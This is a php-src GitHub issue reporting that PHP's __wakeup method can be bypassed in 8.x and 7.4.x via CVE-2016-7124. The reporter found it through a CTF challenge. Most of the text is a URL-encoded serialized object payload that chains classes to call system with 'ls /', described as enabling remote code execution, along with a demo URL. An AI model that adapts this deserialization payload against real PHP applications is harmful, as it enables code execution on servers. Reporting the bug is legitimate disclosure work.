[php-src] Issue #9936: PHP unserialize bypass wakeup 8.1.1-fpm version

Issue: https://github.com/php/php-src/issues/9936 Author: H3h3QAQ ### Description I have discovered a bug that the __wakeup method can be bypass in 8.x and even smaller versions such as 7.4.x using CVE-2016-7124 when reviewing a CTF question focused on PHP unserialize by accident. A demo is as follow, which can be used to RCE. https://8.136.8.210/php/test.php payloda： ```text O%3A5%3A"sorry"%3A4%3A%7Bs%3A11%3A"%00sorry%00name"%3Bs%3A5%3A"lemon"%3Bs%3A15%3A"%00sorry%00password"%3Bs%3A5%3A"lemon"%3Bs%3A4%3A"hint"%3BO%3A4%3A"show"%3A1%3A%7Bs%3A3%3A"ctf"%3BO%3A11%3A"secret_code"%3A1%3A%7Bs%3A7%3A"%00%2A%00code"%3BO%3A5%3A"sorry"%3A4%3A%7Bs%3A11%3A"%00sorry%00name"%3Bs%3A5%3A"lemon"%3Bs%3A15%3A"%00sorry%00password"%3Bs%3A5%3A"lemon"%3Bs%3A4%3A"hint"%3BO%3A4%3A"show"%3A1%3A%7Bs%3A3%3A"ctf"%3Bs%3A0%3A""%3B%7Ds%3A3%3A"key"%3BO%3A4%3A"fine"%3A3%3A%7Bs%3A9%3A"%00fine%00cmd"%3Bs%3A6%3A"system"%3Bs%3A13%3A"%00fine%00content"%3Bs%3A4%3A"ls+%2F"%3B%7D%7D%7D%7Ds%3A3%3A"key"%3BO%3A4%3A"fine"%3A3%3A%7Bs%3A9%3A"%00fine%00cmd"%3Bs%3A6%3A"system"%3Bs%3A13%3A"%00fine%00content"%3Bs%3A4%3A"ls+%2F"%3B%7D%7D ``` ### PHP Version PHP 8.1.1 ### Operating System Windows/Linux